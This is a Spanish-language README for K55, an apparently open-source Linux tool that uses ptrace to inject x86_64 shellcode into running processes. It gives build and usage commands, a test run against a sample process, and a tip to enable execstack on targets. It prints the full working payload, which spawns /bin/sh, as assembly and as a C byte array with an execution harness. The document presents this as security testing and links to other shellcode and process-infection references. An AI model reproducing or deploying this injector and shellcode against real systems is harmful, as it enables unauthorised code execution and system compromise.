
Utilidad de inyección de procesos en Linux x86_64
(pronunciado: "kay fifty-five")
La herramienta de inyección de payload K55 se utiliza para inyectar payloads de shellcode x86_64 en procesos en ejecución. La utilidad fue desarrollada utilizando técnicas modernas de C++11 así como algunas funciones tradicionales de C en Linux como ptrace(). El shellcode generado en el proceso objetivo es de 27 bytes y ejecuta /bin/sh (genera un shell bash) dentro del espacio de direcciones del objetivo. En el futuro, permitiré a los usuarios ingresar su propio shellcode mediante argumentos de línea de comandos.
git clone https://github.com/josh0xA/K55.gitcd K55chmod +x build-install.sh./build-install.shUso: ./K55 <nombre-del-proceso>
r-xp o execstack. Prueba 1) En una terminal (directorio K55/), ejecuta: ./k55_example_process/k55_test_process
Prueba 2) En otra terminal, ejecuta el inyector: sudo ./K55 k55_test_process
Obviamente, las llamadas ptrace(PTRACE_POKETEXT...) no son las más disimuladas. Por lo tanto, algunas aplicaciones pueden limitar el efecto de K55. Sin embargo, para las pruebas de seguridad, asegúrate de activar execstack para tus aplicaciones objetivo. Por ejemplo, si estoy probando en gdb, antes de inyectar, ejecutaría lo siguiente: sudo execstack -s /usr/bin/gdb. Instala execstack desde el gestor de paquetes de tu distribución. Para usuarios de Arch Linux, puedes encontrar execstack en el AUR.
Nota: Lo siguiente es una demostración. La cadena de payload ya está codificada en K55.
main:
xor eax, eax
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
push rsp
pop rdi
cdq
push rdx
push rdi
push rsp
pop rsi
mov al, 0x3b
syscall
#include <stdio.h>
#include <string.h>
// Shellcode breakdown of the assembly code.
char code[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
int main()
{
printf("len:%d bytes\n", strlen(code));
(*(void(*)()) code)();
return 0;
}
http://shell-storm.org/shellcode/files/shellcode-806.php
https://0x00sec.org/t/linux-infecting-running-processes/1097
Licencia MIT
Derechos de autor (c) Josh Schiavone